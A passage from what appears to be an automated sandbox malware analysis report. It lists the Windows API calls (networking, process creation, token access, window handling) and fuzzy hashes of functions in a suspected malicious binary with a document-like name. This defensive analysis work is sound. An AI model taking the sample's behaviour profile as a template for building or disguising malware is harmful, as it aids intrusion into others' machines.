                                                • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00D845C4
                                                • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00DBD6CE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                                • String ID:
                                                • API String ID: 1378193009-0
                                                • Opcode ID: b3ac3456c7815e9c877b8e461678e2781bcd2b1080815a0f5b1498dd16da2047
                                                • Instruction ID: 316566ae58957ea6409a78ee26cc83d2711b9b5b0f4cea64d3c99fe2cf84f253
                                                • Opcode Fuzzy Hash: b3ac3456c7815e9c877b8e461678e2781bcd2b1080815a0f5b1498dd16da2047
                                                • Instruction Fuzzy Hash: EE21FC70904788EFE7329B24DC45BEBBBED9F01304F08009EE69E56141D7745A88CB61
                                                Function 00DF667C Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00DE7B20,?,?,00000000), ref: 00D85B8C
                                                  • Part of subcall function 00D85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00DE7B20,?,?,00000000,?,?), ref: 00D85BB0
                                                • gethostbyname.WSOCK32(?,?,?), ref: 00DF66AC
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00DF66B7
                                                • _memmove.LIBCMT ref: 00DF66E4
                                                • inet_ntoa.WSOCK32(?), ref: 00DF66EF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
                                                • String ID:
                                                • API String ID: 1504782959-0
                                                • Opcode ID: 78d63e038b038ecaf5a4b807d1638d39c658defd00a78fa1de508b47d5ab054e
                                                • Instruction ID: 7bb67896a89bbd04e8c30c0e09fd197de30361147ec6957468af1982310bd8f2
                                                • Opcode Fuzzy Hash: 78d63e038b038ecaf5a4b807d1638d39c658defd00a78fa1de508b47d5ab054e
                                                • Instruction Fuzzy Hash: 16114936500509AFCB04FBA4ED96DEEB7B8EF04310B188065F506A72A1DB31AE54DBB1
                                                Function 00DD9023 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00DD9043
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00DD9055
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00DD906B
                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00DD9086
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID:
                                                • API String ID: 3850602802-0
                                                • Opcode ID: bd327bd036dedae22cd315d43810d2e0cec9a4ffaab98207392b9a1e27a1c1d6
                                                • Instruction ID: 000a21ef2a746885f4bacf774fd6acc5a84cb0303394e2e0042ac3f790d1ebe3
                                                • Opcode Fuzzy Hash: bd327bd036dedae22cd315d43810d2e0cec9a4ffaab98207392b9a1e27a1c1d6
                                                • Instruction Fuzzy Hash: 71115E79900218FFDB10DFA5CC84EADFB74FB48310F204096E904B7250D6726E51DBA0
                                                Function 00D81290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D82612: GetWindowLongW.USER32(?,000000EB), ref: 00D82623
                                                • DefDlgProcW.USER32(?,00000020,?), ref: 00D812D8
                                                • GetClientRect.USER32(?,?), ref: 00DBB84B
                                                • GetCursorPos.USER32(?), ref: 00DBB855
                                                • ScreenToClient.USER32(?,?), ref: 00DBB860
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Client$CursorLongProcRectScreenWindow
                                                • String ID:
                                                • API String ID: 4127811313-0
                                                • Opcode ID: 14058dca6207451524642ceda11057ae1119028e87bce0f9f2cbd09958b49565
                                                • Instruction ID: 7f9303c89fbec18f413262a30d45836acc8814d48a4a06c2f353373673d41c57
                                                • Opcode Fuzzy Hash: 14058dca6207451524642ceda11057ae1119028e87bce0f9f2cbd09958b49565
                                                • Instruction Fuzzy Hash: EB112839900119BFCB10EF94E886AFE77B8FB05310F000456F941E7251D731BA9A8BB9
                                                Function 00DE1652 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00DE01FD,?,00DE1250,?,00008000), ref: 00DE166F
                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,00DE01FD,?,00DE1250,?,00008000), ref: 00DE1694
                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00DE01FD,?,00DE1250,?,00008000), ref: 00DE169E
                                                • Sleep.KERNEL32(?,?,?,?,?,?,?,00DE01FD,?,00DE1250,?,00008000), ref: 00DE16D1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CounterPerformanceQuerySleep
                                                • String ID:
                                                • API String ID: 2875609808-0
                                                • Opcode ID: 625599f8517fab8fee22a72dd82f36f524dbfbac7a809cc407443c1995413ada
                                                • Instruction ID: e14bb8c074ecafc8f3723ee4f84769c3433ffbea1113e40400ed5207320f4c1f
                                                • Opcode Fuzzy Hash: 625599f8517fab8fee22a72dd82f36f524dbfbac7a809cc407443c1995413ada
                                                • Instruction Fuzzy Hash: 0F117C35E0151CDBCF00AFA6D848AEEBF78FF09701F084059E941B6240CB3195A08BE6
                                                Function 00DB7207 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                • String ID:
                                                • API String ID: 3016257755-0
                                                • Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                • Instruction ID: c788431b71b13f3c426eddbfc0530f83d16a0189ba5ae731be71e46ceb2d7399
                                                • Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                • Instruction Fuzzy Hash: 7B014C3604814AFBCF125E84CC01CEE3F62FFA9355F598615FA1A68031D237C9B1ABA5
                                                Function 00E0B57F Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowRect.USER32(?,?), ref: 00E0B59E
                                                • ScreenToClient.USER32(?,?), ref: 00E0B5B6
                                                • ScreenToClient.USER32(?,?), ref: 00E0B5DA
                                                • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00E0B5F5
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ClientRectScreen$InvalidateWindow
                                                • String ID:
                                                • API String ID: 357397906-0
                                                • Opcode ID: e21a54384fa4d4ed75427c1899e2f8a49c8d82828ebb8f290e9d2c23e1c049c9
                                                • Instruction ID: 4bc1ccfe1cfc0a119325c329bf90477e3fe05cc52b341f003632ed71623a17bd
                                                • Opcode Fuzzy Hash: e21a54384fa4d4ed75427c1899e2f8a49c8d82828ebb8f290e9d2c23e1c049c9
                                                • Instruction Fuzzy Hash: 4E1146B5D00209EFDB51CF99D8449EEFBB9FB08310F104166E915E3620D735AA658F91
                                                Function 00E0B8EF Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00E0B8FE
                                                • _memset.LIBCMT ref: 00E0B90D
                                                • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00E47F20,00E47F64), ref: 00E0B93C
                                                • CloseHandle.KERNEL32 ref: 00E0B94E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memset$CloseCreateHandleProcess
                                                • String ID:
                                                • API String ID: 3277943733-0
                                                • Opcode ID: 4c66b0324a1a9902c8caa89aa3b6153d1cdc6cd50e41b24814ad134e6e873af6
                                                • Instruction ID: a344863e571969642dd054df971851888dc04fef6ea87b8ab1b4daee5c2f2464
                                                • Opcode Fuzzy Hash: 4c66b0324a1a9902c8caa89aa3b6153d1cdc6cd50e41b24814ad134e6e873af6
                                                • Instruction Fuzzy Hash: 86F054B56443007FE2102B62AC06F7B7A5CEB4A755F001420FB48F5192D776495987F9
                                                Function 00DE6E7C Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                Download Yara Rule
                                                APIs
                                                • EnterCriticalSection.KERNEL32(?), ref: 00DE6E88
                                                  • Part of subcall function 00DE794E: _memset.LIBCMT ref: 00DE7983
                                                • _memmove.LIBCMT ref: 00DE6EAB
                                                • _memset.LIBCMT ref: 00DE6EB8
                                                • LeaveCriticalSection.KERNEL32(?), ref: 00DE6EC8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CriticalSection_memset$EnterLeave_memmove
                                                • String ID:
                                                • API String ID: 48991266-0
                                                • Opcode ID: 5366858e7df173778b07a10668e842d9d8ad1998290f230c7eab87591476f35e
                                                • Instruction ID: 1b9ac368c3d35c98a5e0135154dd93e787449a5e4b001c805eaf91153276ff44
                                                • Opcode Fuzzy Hash: 5366858e7df173778b07a10668e842d9d8ad1998290f230c7eab87591476f35e
                                                • Instruction Fuzzy Hash: 34F0543A200200ABCF116F55DC85A49BB2AEF45320F048061FE085E227C731E951DBB5
                                                Function 00E0C00C Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D812F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00D8134D
                                                  • Part of subcall function 00D812F3: SelectObject.GDI32(?,00000000), ref: 00D8135C
                                                  • Part of subcall function 00D812F3: BeginPath.GDI32(?), ref: 00D81373
                                                  • Part of subcall function 00D812F3: SelectObject.GDI32(?,00000000), ref: 00D8139C
                                                • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00E0C030
                                                • LineTo.GDI32(00000000,?,?), ref: 00E0C03D
                                                • EndPath.GDI32(00000000), ref: 00E0C04D
                                                • StrokePath.GDI32(00000000), ref: 00E0C05B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                • String ID:
                                                • API String ID: 1539411459-0
                                                • Opcode ID: 2a08b650a4da37232186a87df02e93cca69943072e701350b2dd99cd05e03b93
                                                • Instruction ID: 706e44cea6d4456ee5a6eb0538cccae0c615afabff71a949fe76064198e235aa
                                                • Opcode Fuzzy Hash: 2a08b650a4da37232186a87df02e93cca69943072e701350b2dd99cd05e03b93
                                                • Instruction Fuzzy Hash: 3FF05E35001259FFDB226F56AC0AFCE3F59AF1A311F148100FA11714E287B655A9DBE5
                                                Function 00DDA37C Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00DDA399
                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 00DDA3AC
                                                • GetCurrentThreadId.KERNEL32 ref: 00DDA3B3
                                                • AttachThreadInput.USER32(00000000), ref: 00DDA3BA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                • String ID:
                                                • API String ID: 2710830443-0
                                                • Opcode ID: 2b2c8f6435dd837b3d2775bdae0c4c83056a03ecbf821f0aa90155f80d20840f
                                                • Instruction ID: 8673481aa6a3b124e2667af9f2b349b3532dd06a71abddbcb7ffdcdd53289474
                                                • Opcode Fuzzy Hash: 2b2c8f6435dd837b3d2775bdae0c4c83056a03ecbf821f0aa90155f80d20840f
                                                • Instruction Fuzzy Hash: 52E03971541328BADB306BA2EC0CED73F1CEF167A1F048025F509A4460CA72C594CBF0
                                                Function 00D82218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetSysColor.USER32(00000008), ref: 00D82231
                                                • SetTextColor.GDI32(?,000000FF), ref: 00D8223B
                                                • SetBkMode.GDI32(?,00000001), ref: 00D82250
                                                • GetStockObject.GDI32(00000005), ref: 00D82258
                                                • GetWindowDC.USER32(?,00000000), ref: 00DBC0D3
                                                • GetPixel.GDI32(00000000,00000000,00000000), ref: 00DBC0E0
                                                • GetPixel.GDI32(00000000,?,00000000), ref: 00DBC0F9
                                                • GetPixel.GDI32(00000000,00000000,?), ref: 00DBC112
                                                • GetPixel.GDI32(00000000,?,?), ref: 00DBC132
                                                • ReleaseDC.USER32(?,00000000), ref: 00DBC13D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                • String ID:
                                                • API String ID: 1946975507-0
                                                • Opcode ID: 58ea476464f3823ded3640fa376db7e3bd02e4cf7f005d4e4edd9bb0def61687
                                                • Instruction ID: eaff3ae3a60cc609a064cada4cec1ce4561436f05172e633caefdfe0087d3eea
                                                • Opcode Fuzzy Hash: 58ea476464f3823ded3640fa376db7e3bd02e4cf7f005d4e4edd9bb0def61687
                                                • Instruction Fuzzy Hash: 5BE06D32100244EEDB315FA9FC0D7D83B10EB15332F048366FA69680E2877249E4DB21
                                                Function 00DD8C5A Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThread.KERNEL32 ref: 00DD8C63
                                                • OpenThreadToken.ADVAPI32(00000000,?,?,?,00DD882E), ref: 00DD8C6A
                                                • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00DD882E), ref: 00DD8C77
                                                • OpenProcessToken.ADVAPI32(00000000,?,?,?,00DD882E), ref: 00DD8C7E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CurrentOpenProcessThreadToken
                                                • String ID:
                                                • API String ID: 3974789173-0
                                                • Opcode ID: edcb49c2cd20ac272a4a4d9ef3cd84000b7b3d14e50ad54385ec01aad48b978e
                                                • Instruction ID: 4ef8357d21b76061312d6eab633513917c3cb6f1307e0452b83eaa50f4c0048f
                                                • Opcode Fuzzy Hash: edcb49c2cd20ac272a4a4d9ef3cd84000b7b3d14e50ad54385ec01aad48b978e
                                                • Instruction Fuzzy Hash: 49E08636642211DFD7305FB66D0CB563BBCEF50792F084828F245E9050DA358499DB71
                                                Function 00DC2187 Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDesktopWindow.USER32 ref: 00DC2187
                                                • GetDC.USER32(00000000), ref: 00DC2191
                                                • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00DC21B1
                                                • ReleaseDC.USER32(?), ref: 00DC21D2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                • String ID:
                                                • API String ID: 2889604237-0
                                                • Opcode ID: 017beb73655a8bbd2fa5b2546d6a8e0e925fb45b7e2354d22ffc1c2581da76ee
                                                • Instruction ID: d0b7881d09877a25d7fd62a724383b7b1e89d9a47793598a5d5cf0b7b15e7008
                                                • Opcode Fuzzy Hash: 017beb73655a8bbd2fa5b2546d6a8e0e925fb45b7e2354d22ffc1c2581da76ee
                                                • Instruction Fuzzy Hash: A6E09274800604DFCF109F61D808B6D7BF1EB1C310F108015F886A3220CB3680919F50
                                                Function 00DC219B Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDesktopWindow.USER32 ref: 00DC219B
                                                • GetDC.USER32(00000000), ref: 00DC21A5
                                                • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00DC21B1
                                                • ReleaseDC.USER32(?), ref: 00DC21D2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CapsDesktopDeviceReleaseWindow
                                                • String ID:
                                                • API String ID: 2889604237-0
                                                • Opcode ID: 1563e97c827bb76c3f86634a64b375915f0ca6b870c34336e28748a271697ff5
                                                • Instruction ID: 6a700d5f89979b1ece6dcc052c50c1e17ac18f58971bcf0b82cc2d0ceca3e661
                                                • Opcode Fuzzy Hash: 1563e97c827bb76c3f86634a64b375915f0ca6b870c34336e28748a271697ff5
                                                • Instruction Fuzzy Hash: 68E01AB5800604EFCF61AFB1D80869D7BF5EB5C310F108025F99AA7620CB7A91959F90
                                                Function 00D863A0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: %
